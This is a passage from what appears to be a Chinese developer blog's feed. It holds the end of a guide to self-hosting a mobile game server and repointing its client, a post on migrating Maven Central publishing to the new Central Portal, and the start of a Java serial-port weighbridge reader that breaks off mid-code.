class="line">data\zone\sszg_center_6\ctl.sh</span><br><span class="line"></span><br><span class="line">data\zone\sszg_symlf_1\ctl.sh</span><br><span class="line"></span><br><span class="line">data\sszg_code\v200408\server\tpl\ctl.sh</span><br><span class="line"></span><br><span class="line">data\zone\sszg_symlf_2\ctl.sh</span><br></pre></td></tr></table></figure><h3 id="安装节点">安装节点</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">/data/zone/sszg_center_6/ctl.sh install</span><br><span class="line">/data/zone/sszg_symlf_1/ctl.sh install</span><br><span class="line">/data/zone/sszg_symlf_2/ctl.sh install</span><br></pre></td></tr></table></figure><h3 id="安装screen">安装<code>screen</code></h3><p>这个主要是为了会话共享，开多个区用的</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum install screen -y</span><br></pre></td></tr></table></figure><h3 id="启动游戏">启动游戏</h3><p>输入命令<code>screen</code></p><p>开区</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">/data/zone/sszg_center_6/ctl.sh start </span><br><span class="line">/data/zone/sszg_symlf_1/ctl.sh start</span><br><span class="line">/data/zone/sszg_symlf_2/ctl.sh start</span><br></pre></td></tr></table></figure><h3 id="查看是否启动">查看是否启动</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netstat -ntlp</span><br></pre></td></tr></table></figure><p>如果有这些端口说明启动成功了，不一定都需要</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/dd0120da1108d8e61a342d7c86cdbbe1.png" alt="image.png"></p><h3 id="关闭游戏">关闭游戏</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">/data/zone/sszg_center_6/ctl.sh stop</span><br><span class="line">/data/zone/sszg_symlf_1/ctl.sh stop</span><br><span class="line">/data/zone/sszg_symlf_2/ctl.sh stop</span><br></pre></td></tr></table></figure><h3 id="如果没有启动成功">如果没有启动成功</h3><p>执行<code>erl</code>查看是否显示<code>command not found</code>，如果出现<br>手动在<code>/etc/profile</code>中添加</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> PATH=<span class="variable">$PATH</span>:/usr/lib/erlang/bin </span><br></pre></td></tr></table></figure><p>再执行</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">source</span> /etc/profile</span><br></pre></td></tr></table></figure><h2 id="手机客户端修改">手机客户端修改</h2><p>直接使用winrar打开apk文件<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/c1e54c8000482c908d24a86fe0329764.png" alt="image.png"></p><p>找到文件<code>\assets\HASH\3\39F8AABC9BDC5AD4.lua</code>和<code>\Payload\太平洋堡垒战·热血航线.app\HASH\3\39F8AABC9BDC5AD4.lua</code>解压到本地后解密后修改其中的ip并重新加密再丢进压缩包中替换即可</p><h4 id="安卓的位置">安卓的位置</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/109dd284c7d14fecc5f8f57f1e9683a3.png" alt="image.png"></p><h4 id="ios的位置">ios的位置</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/a28d87a5304bd35d9967dfe6780f88f5.png" alt="image.png"></p><h3 id="解密方法">解密方法</h3><p>放在同一个目录下，双击<code>批量解密.cmd</code>，这样lua文件就可以进行ip替换了。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/b642c3b14eaa3f7c0bc5523dc5667f4a.png" alt="image.png"></p><p>替换的是这个<code>192.168.0.120</code>这个ip<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/37fce044e6bd3744597937b9be5c212d.png" alt="image.png"></p><h3 id="加密方法">加密方法</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/3339fdd3e30076cafa17181f406b4f3f.png" alt="image.png"></p><p>最后拖到压缩包中替换该文件就可以了,最后就是拖到手机里面安装了。</p><h2 id="GM后台">GM后台</h2><p>如果访问不了801端口可以在宝塔中配置后台的nginx代理<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/103f5414df62590b142add5eea4a9716.png" alt="image.png"></p><p>访问玩家后台</p><p><a href="http://192.168.0.120:801/ht/">http://192.168.0.120:801/ht/</a></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/de5ff1774614de354c1492547fbde821.png" alt="image.png"></p><p>超管后台<br><a href="http://192.168.0.120:801/ht/gz.php">http://192.168.0.120:801/ht/gz.php</a></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/3eb47a53d5d3fe7187c7471410c07c4b.png" alt="image.png"></p><p>GM认证码我设置的是和数据库一个密码，如果上面全部替换的话就会是数据库同密码。</p><h2 id="游玩截图">游玩截图</h2><p>版本更新的提示直接叉掉或者点跳过。记得使用邮箱注册，不要用手机号。</p><p>注意！不要进行微信和支付宝支付！我未修改代码将这两项去除，可以使用GM给玩家充值欢乐币，玩家接口使用欢乐币购买各种VIP礼包！</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/54e48b7e7946db3cd46e2a217491f434.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/83fdb882186a421dd0e1aa3ebe1f04c3.png" alt="image.png"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/4a887695bb06098956be85a12d195519.png" alt="image.png"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/b785030b146dba5145ef2cabcba8b264.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/aa184e9c7a8fdb3955c1001265b4dda5.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/dcfe3db81cac17ed582d5b75b5aae0b8.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/fa9a4c37bd3f6d5acc764d6514142a0a.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/c7a30855c597a1be75e3b87ba4c89850.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/db0b9f8c366f5f3b013972d591c8a910.png" alt="image.png"></p><h2 id="不想搭建，只想体验？">不想搭建，只想体验？</h2><p>可以用我搭好的现成的来玩，但是不建议，因为随时可能会停服，而且服务器也没几个月了。微信给本公众号<code>IT日常</code>发送<code>海贼王apk</code>就会给你安卓应用链接，直接安装即可。给本公众号<code>IT日常</code>发送<code>海贼王ipa</code>即可获得苹果的下载链接。苹果安装挺麻烦的，安装过程可以查看我公众号历史文章。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;[前言]&lt;br&gt;
重要的事情说三遍，不要将本资源用于商业行为！不要用于商业行为！本文章以及资源仅供学习研究传播，后续软件使用过程发生的一切问题与我无关哦。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;资源的获取&quot;&gt;资源的获取&lt;/h2&gt;
&lt;p</summary>
      
    
    
    
    <category term="其他" scheme="https://blog.allbs.cn/categories/%E5%85%B6%E4%BB%96/"/>
    
    
    <category term="娱乐" scheme="https://blog.allbs.cn/tags/%E5%A8%B1%E4%B9%90/"/>
    
  </entry>
  
  <entry>
    <title>2024年发布到maven中心库的新方式</title>
    <link href="https://blog.allbs.cn/posts/50743/"/>
    <id>https://blog.allbs.cn/posts/50743/</id>
    <published>2024-07-04T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[前言]<br>之前写过若干java开发时简化操作或者是拓展功能的工具包，因为懒好久没更新了。最近因为个别项目里面使用时出现应用场景不太够就更新了一波。本打算立刻发布到maven的中心库中以便引入，突然发现发不上去了！于是有了以下调查内容。</p></blockquote><h2 id="背景">背景</h2><h3 id="发布时出现401错误">发布时出现401错误</h3><p>Remote staging finished with a failure: Failed to deploy artifacts: Could not transfer artifact cn.allbs:allbs-influx:jar:javadoc:2.1.0 from/to sonatype-nexus-snapshots (<a href="https://link.juejin.cn?target=https%3A%2F%2Fs01.oss.sonatype.org%3A443%2Fservice%2Flocal%2Fstaging%2FdeployByRepositoryId%2Fcnallbs-1183" title="https://s01.oss.sonatype.org:443/service/local/staging/deployByRepositoryId/cnallbs-1183">s01.oss.sonatype.org:443/service/loc…</a>): status code: 401, reason phrase: Content access is protected by token (401)</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/e6f7ca663393f4027d0552912d28601c.png" alt="失败场景"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/3e8871b2e5b87d7abe48607db06faf0b.png" alt="image.png"></p><h3 id="登录仓库查看">登录仓库查看</h3><p>仓库中缺少很多包的信息，只有很久没更新过的包残存在上面。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/7ac880413de73a59ff6d99a7e464ebc6.png" alt="登录仓库"></p><h3 id="管理端查看">管理端查看</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/1373eec968e73f833067aadeca495070.png" alt="管理端"><br>查了一下自己仓库，发现包其实是上传上来了，但是关闭并发布是不起效果的。考虑了一下可能又换仓库了，想起官方访问页面之前是变了样式得，也和这种可能性相和。这样得话只能去官方找资料查看了。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/89d3def53128f5d263808ce60bda4a95.png" alt="查记录"></p><h2 id="开始解决">开始解决</h2><h3 id="官网上的说明文档">官网上的说明文档</h3><p>链接如下：<br><a href="https://central.sonatype.org/faq/what-is-different-between-central-portal-and-legacy-ossrh/">https://central.sonatype.org/faq/what-is-different-between-central-portal-and-legacy-ossrh/</a></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/76959c6bf88d1dc32d681720f638a061.png" alt="官方文档"></p><p>大致可以看出旧版和新版并不兼容，同时旧版的命名空间并不能带入到新版之中，如果要迁移必须写邮件申请。</p><h3 id="开始转移namespace">开始转移namespace</h3><p>注意这些操作全是基于你在旧版上注册过！以下邮件的红色内容需要替换为你自己实际信息，不要照抄。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/ce7dfbced4457cbf08ad1d75098ec66d.png" alt="申请转移的错误邮件"></p><ul><li>主题：<code>Request for Namespace Migration to OSSRH</code></li><li>邮件接收方：<code>central-support@sonatype.com</code></li><li>内容参考:</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">Dear Central Support Team,</span><br><span class="line"></span><br><span class="line">I am writing to request the migration of my namespace from OSSRH to the Central Portal. Below are the details of my account and the namespace I wish to migrate:</span><br><span class="line"></span><br><span class="line">- **Account Information:**</span><br><span class="line">    </span><br><span class="line">    - Username: [你的旧版账号]</span><br><span class="line">    - Email: [账号绑定的邮箱]</span><br><span class="line">- **Namespace(s) to Migrate:**</span><br><span class="line">    </span><br><span class="line">    - 你的namespace</span><br><span class="line"></span><br><span class="line">The reason for this migration request is to facilitate the version iteration and maintenance of our existing functionality packages. We believe that migrating to OSSRH&#x27;s Central Portal will provide better management capabilities and access to new features that will enhance our development and deployment processes.</span><br><span class="line"></span><br><span class="line">I appreciate your assistance with this request and look forward to your response. Please let me know if any additional information is required.</span><br><span class="line"></span><br><span class="line">Thank you.</span><br><span class="line"></span><br><span class="line">Best regards,  </span><br><span class="line">[你的姓名]  </span><br><span class="line">[你的联系方式]</span><br></pre></td></tr></table></figure><p>没几分钟就能收到对方的回复邮件，其实下面这种图是第一次我发邮件内容不清晰的后回复的图片😂。<br>ps:我这篇文章最开始发在掘金的，其实邮件内容是错的，有其他公众号照抄其实也错了😂。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/2c47e261a7f677b7459e4ab06d46e7f5.png" alt="申请邮件未说清楚后回复的邮件"></p><p>内容需要更正一下发送可以抄上面英文邮件内容，不要抄上面图片内容。得到的结果如下：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/3a8121eb2a48bcc637c935de7451e785.png" alt="回复的邮件"></p><p>新版maven central中的记录：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/a7eeffdbdbab5429bda69abea56eda7a.png" alt="maven central"></p><h2 id="修改deploy至新库">修改deploy至新库</h2><h3 id="首先是获取userToken">首先是获取userToken</h3><p>新的maven公共库和以前的方式不同，deploy需要发布的用户名和token<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/4e1d2f6c0286aeb082dd1b94cc101713.png" alt=""></p><h3 id="修改maven的setting-xml">修改maven的setting.xml</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/81dcdd4bb67351ebee74fd98f8b690e3.png" alt=""></p><h3 id="java的pom-xml中的修改">java的pom.xml中的修改</h3><p>主要是两处地方<br>一是：<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/ab093fafc2a9a724e6cc4703a4348dd9.png" alt="image.png"></p><p>第二处：<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/b0a41757a9b4ab0e30115ef51fb53283.png" alt="image.png"></p><h3 id="执行deploy看看效果">执行deploy看看效果</h3><p>能推入库中说明以上配置已经生效了，但是因为namespace还未从旧版移过来所以发布失败了。下面只需要安心等待即可。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/ac1978e75a27e42069745361a120ab1e.png" alt="maven deploy"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/993e28fd1fdc102637aab963a1850ebe.png" alt="deploy效果"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/2883f8e2528d1779e6c837f08cbc962a.png" alt="消息通知"></p>]]></content>
    
    
    <summary type="html">maven公共库deploy方式修改</summary>
    
    
    
    <category term="maven" scheme="https://blog.allbs.cn/categories/maven/"/>
    
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="maven" scheme="https://blog.allbs.cn/tags/maven/"/>
    
  </entry>
  
  <entry>
    <title>对接化工园区卡口地磅，使用java开发通过串口读取地磅称重数据全过程说明，内附源码</title>
    <link href="https://blog.allbs.cn/posts/26611/"/>
    <id>https://blog.allbs.cn/posts/26611/</id>
    <published>2024-07-02T02:09:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[背景]<br>化工园区封闭化建设，出入需要称重，所以加装了地磅。现有两个卡口，每个卡口进出分别各有一个地磅，每个卡口配一台主机，两个地磅都直接连接到电脑主机上，仪表232接电脑串口（仪表15芯7、8接电脑九芯2、5）。业务需求是提供一个接口能够读取指定地磅的实时数据，所以就开发一个程序部署在这台主机上读取串口数据并往外提供最新数据。</p></blockquote><h2 id="准备工作">准备工作</h2><p>因为本身并没有出差去现场，加上他们不知道应该怎么把地磅和主机接起来，所以远程跟运维沟通了下，现场发来卡口主机接口如下:<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/097f26216f5ac12372cc28694deccc99.jpg" alt="8f5dfe76d10b738f7a156096e2afb1b.jpg"></p><p>我一看，以我贫瘠的硬件知识来说貌似也没太多选择，买俩usb转485线应该就可以了。然后打开京东，搜索<code>485转USB</code>打开第一家，转发物品链接，让运维去采购好了。（其实我觉得这线绝对贵了很多，不过也不用我掏钱，也懒的再去找了😂）<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/8dfe64e5259be774d0d94f1631135a11.jpg" alt="63f8d36c201bb7df5bec9ff57959540.jpg"></p><p>过了一个周末，线到了。开始配合现场调试数据，听说现场调试地磅的还是一个60多的老前辈，指着串口返回的一堆二进制的00数据跟我说地磅调试正常了。我是一脸懵逼，这和报文协议咋不一样，而且这二进制的00能解析出啥？这个时候我是有点开始怀疑自己了，难道是报文协议看漏了，还是我用的串口工具有问题啊，还没等我安装上另外的串口工具，结果老前辈发消息来说是线没接上🥴。我估摸着有点扯淡的，线没接也打不开串口啊，当然也有可能是其他部件的线没接上导致数据不是正常数据。反正是经过一通折腾，终于有正经的数据返回了。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/89abb3994338c494cf9b550d98f0f762.png" alt="b75a52bb34ed8882870b158217f9cf8.png"></p><h2 id="报文协议">报文协议</h2><p>文档的链接为:<br><a href="https://nas.allbs.cn:8888/cloudpic/2024/07/c530a6c79d0d846679f9e3a4aade3a88.pdf">https://nas.allbs.cn:8888/cloudpic/2024/07/c530a6c79d0d846679f9e3a4aade3a88.pdf</a></p><p>主要核心内容包含如下:<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/e25fa9b685d52a90a3beec3dd9457c2c.png" alt="image.png"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/750cd6d40ac1e292e36c01e9d9881b52.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/bef3ec73ee32a1a38a813b663a00021c.png" alt="image.png"></p><h2 id="源码说明">源码说明</h2><p>因为只会<code>java</code>所以就用java写的，其实要是用<code>go</code>的话代码应该会简略很多，想了想以后再学吧，现在用java写写得了。</p><h3 id="引入核心串口通讯依赖">引入核心串口通讯依赖</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;dependency&gt;  </span><br><span class="line">    &lt;groupId&gt;com.fazecast&lt;/groupId&gt;  </span><br><span class="line">    &lt;artifactId&gt;jSerialComm&lt;/artifactId&gt;  </span><br><span class="line">    &lt;version&gt;2.11.0&lt;/version&gt;  </span><br><span class="line">&lt;/dependency&gt;</span><br></pre></td></tr></table></figure><h3 id="串口打开、关闭、发送数据、接收数据的类开发">串口打开、关闭、发送数据、接收数据的类开发</h3><p>每个方法的作用详细见方法注释，初始化时会遍历所有可以打开的串口，并将串口储存在map中便于后续的使用。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.weightscale.config;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> cn.allbs.weightscale.exception.BhudyException;  </span><br><span class="line"><span class="keyword">import</span> cn.allbs.weightscale.handler.SerialPortListener;  </span><br><span class="line"><span class="keyword">import</span> cn.allbs.weightscale.util.SerialPortUtil;  </span><br><span class="line"><span class="keyword">import</span> com.fazecast.jSerialComm.SerialPort;  </span><br><span class="line"><span class="keyword">import</span> jakarta.annotation.PostConstruct;  </span><br><span class="line"><span class="keyword">import</span> jakarta.annotation.Resource;  </span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;  </span><br><span class="line"><span class="keyword">import</span> org.springframework.data.redis.core.RedisTemplate;  </span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;  </span><br><span class="line"><span class="keyword">import</span> java.time.LocalDateTime;  </span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;  </span><br><span class="line"><span class="keyword">import</span> java.util.Map;  </span><br><span class="line"><span class="keyword">import</span> java.util.Optional;  </span><br><span class="line">  </span><br><span class="line"><span class="comment">/**  </span></span><br><span class="line"><span class="comment"> * 类 SerialPortManager  </span></span><br><span class="line"><span class="comment"> * * <span class="doctag">@date</span> 2024/6/27  </span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span>  </span><br><span class="line"><span class="meta">@Component</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SerialPortManager</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Map&lt;String, SerialPort&gt; serialPorts;  </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Map&lt;String, SerialPortListener&gt; listeners;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Resource</span>  </span><br><span class="line">    <span class="keyword">private</span> RedisTemplate redisTemplate;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Resource</span>  </span><br><span class="line">    <span class="keyword">private</span> SerialPortConfig serialPortConfig;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">SerialPortManager</span><span class="params">()</span> &#123;  </span><br><span class="line">        serialPorts = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">        listeners = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@PostConstruct</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">()</span> &#123;  </span><br><span class="line">        log.info(<span class="string">&quot;\nUsing Library Version v&#123;&#125;&quot;</span>, SerialPort.getVersion());  </span><br><span class="line">        SerialPort[] ports = SerialPort.getCommPorts();  </span><br><span class="line">        log.info(<span class="string">&quot;\nAvailable Ports:\n&quot;</span>);  </span><br><span class="line">        Map&lt;String, String&gt; portMappings = serialPortConfig.getPortMappings();  </span><br><span class="line">        <span class="keyword">for</span> (SerialPort port : ports) &#123;  </span><br><span class="line">            log.info(<span class="string">&quot;&#123;&#125;: &#123;&#125; - &#123;&#125;&quot;</span>, port.getSystemPortName(), port.getDescriptivePortName(), port.getPortDescription());  </span><br><span class="line">            serialPorts.put(port.getSystemPortName(), port);  </span><br><span class="line">            openPort(port.getSystemPortName());  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">addPort</span><span class="params">(String portName)</span> &#123;  </span><br><span class="line">        SerialPort[] ports = SerialPort.getCommPorts();  </span><br><span class="line">        <span class="keyword">for</span> (SerialPort port : ports) &#123;  </span><br><span class="line">            <span class="keyword">if</span> (port.getSystemPortName().equals(portName)) &#123;  </span><br><span class="line">                serialPorts.put(portName, port);  </span><br><span class="line">                log.info(<span class="string">&quot;Added Port: &#123;&#125; - &#123;&#125;&quot;</span>, port.getSystemPortName(), port.getDescriptivePortName());  </span><br><span class="line">                <span class="keyword">return</span> <span class="literal">true</span>;  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125;  </span><br><span class="line">        log.info(<span class="string">&quot;Port &#123;&#125; not found!&quot;</span>, portName);  </span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 打开指定com口  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">openPort</span><span class="params">(String portName)</span> &#123;  </span><br><span class="line">        <span class="type">SerialPort</span> <span class="variable">port</span> <span class="operator">=</span> serialPorts.get(portName);  </span><br><span class="line">        <span class="keyword">if</span> (port == <span class="literal">null</span>) &#123;  </span><br><span class="line">            log.info(<span class="string">&quot;Port &#123;&#125; is not managed!&quot;</span>, portName);  </span><br><span class="line">            <span class="keyword">return</span>;  </span><br><span class="line">        &#125;  </span><br><span class="line">        <span class="keyword">if</span> (!port.isOpen()) &#123;  </span><br><span class="line">            log.info(<span class="string">&quot;\nPre-setting RTS: &#123;&#125;&quot;</span>, port.setRTS() ? <span class="string">&quot;Success&quot;</span> : <span class="string">&quot;Failure&quot;</span>);  </span><br><span class="line">            <span class="keyword">if</span> (!port.openPort()) &#123;  </span><br><span class="line">                log.info(<span class="string">&quot;Open serial port &#123;&#125; error!&quot;</span>, portName);  </span><br><span class="line">                <span class="keyword">return</span>;  </span><br><span class="line">            &#125;  </span><br><span class="line">            log.info(<span class="string">&quot;\nOpening &#123;&#125;: &#123;&#125; - &#123;&#125;&quot;</span>, port.getSystemPortName(), port.getDescriptivePortName(), port.getPortDescription());  </span><br><span class="line">            port.setFlowControl(SerialPort.FLOW_CONTROL_DISABLED);  </span><br><span class="line">            port.setComPortParameters(<span class="number">9600</span>, <span class="number">8</span>, SerialPort.ONE_STOP_BIT, SerialPort.NO_PARITY);  </span><br><span class="line">            port.setComPortTimeouts(SerialPort.TIMEOUT_READ_BLOCKING | SerialPort.TIMEOUT_WRITE_BLOCKING, <span class="number">1000</span>, <span class="number">1000</span>);  </span><br><span class="line">            <span class="comment">// 获取 Redis 键名  </span></span><br><span class="line">            <span class="type">String</span> <span class="variable">redisKey</span> <span class="operator">=</span> Optional.ofNullable(serialPortConfig.getPortMappings()).map(a -&gt; a.get(portName)).orElse(<span class="string">&quot;pc:weight:unknown&quot;</span>);  </span><br><span class="line">  </span><br><span class="line">            <span class="comment">// 直接开始解析  </span></span><br><span class="line">            <span 